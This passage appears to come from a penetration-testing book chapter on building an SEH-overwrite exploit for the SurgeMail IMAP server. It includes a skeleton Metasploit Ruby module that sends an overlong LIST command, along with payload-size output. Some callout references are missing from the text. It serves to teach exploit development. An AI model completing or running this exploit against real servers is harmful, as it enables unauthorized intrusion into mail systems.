Hopping Around SEH Restrictions

Following the SEH overwrite, there’s very little space for shellcode before the end of the stack. Normally, a POP-POP-RETN set of instructions would be used to reach the Next SEH (NSEH), followed by a short jump forward into the shellcode. We’ll overcome this limited space restriction by developing an exploit to use as much space as possible for our final payload. At this point, we are done with the fuzzing process and we’ll move into developing an exploit for the vulnerability that we found.

This exploit would be a good candidate for an egg hunter, which is a small segment of shellcode that searches memory for the main payload; however, we’ll use a different tactic and overwrite SEH with the POP-POP-RETN instruction pointer. Once that’s overwritten we’ll make a short jump backward that requires very few instructions (rather than jumping forward). Next, we’ll use the space gained in the short jump to execute the larger near jump farther back into a NOP slide and shellcode. Although it’s not required, a NOP slide is always a good addition to an exploit, because it gives you a little room for error should the buffer position change in memory. NOPs will have no adverse impact on the exploit code and will act as filler. Conceptually, the attack will look like this:

[Buffer of garbage | NOP Slide | Shellcode | Near Jump | Short Jump | POP-POP-RETN]

To ensure portability of the exploit across different versions of Windows, use a return address from an application DLL or executable. In this case, only the application executable itself is available, so you can try to accomplish a three-byte overwrite of SEH using a POP-POP-RETN sequence of instructions from the surgemail.exe file. If this can be done successfully, the exploit will be universal across versions of Windows.

Let’s move on to creating the actual exploit for the SurgeMail vulnerability. Following is our initial skeleton exploit module to be saved in /root/.msf3/modules/exploits/windows/imap/:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Imap

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack overflow in the Surgemail IMAP Server
                version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
                account credentials are required.
            },
            'Author'         => [ 'ryujin' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $',
            'References'     =>
                [
                    [ 'BID', '28260' ],
                    [ 'CVE', '2008-1498' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/5259' ],
                ],
            'Privileged'     => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                  'Space'       => 10351,
                    'DisableNops' => true,
                    'BadChars'    => "\x00"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                   [ 'Windows Universal', { 'Ret' =>
 0xDEADBEEF } ], # p/p/r TBD
                ],
            'DisclosureDate' => 'March 13 2008',
            'DefaultTarget' => 0))
    end

    def exploit
      connected = connect_login
      lead = "\x41" * 10360
      evil = lead + "\x43" * 4
        print_status("Sending payload")
      sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
      sock.put(sploit)
        handler
        disconnect
    end

end

The 'Space' declaration at refers to the space available for shellcode. This declaration is very important in an exploit module because it determines which payloads Metasploit will allow you to use when running your exploit. Some payloads require much more space than others, so try not to overstate this value. Payload sizes vary greatly and encoding increases their sizes. To see the size of an unencoded payload, you would use the info command followed by the name of the payload and look for the Total size value, as shown here:

msf > info payload/windows/shell_bind_tcp

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

The return address at in the 'Targets' section is currently occupied by a placeholder value, which we’ll change later in the exploit development process.

As with the fuzzer module discussed earlier, this exploit connects and logs into the target at , uses a string of As at as the initial buffer, and appends four Cs at to overwrite the SEH. The entire exploit string is generated at and then sent to the target at .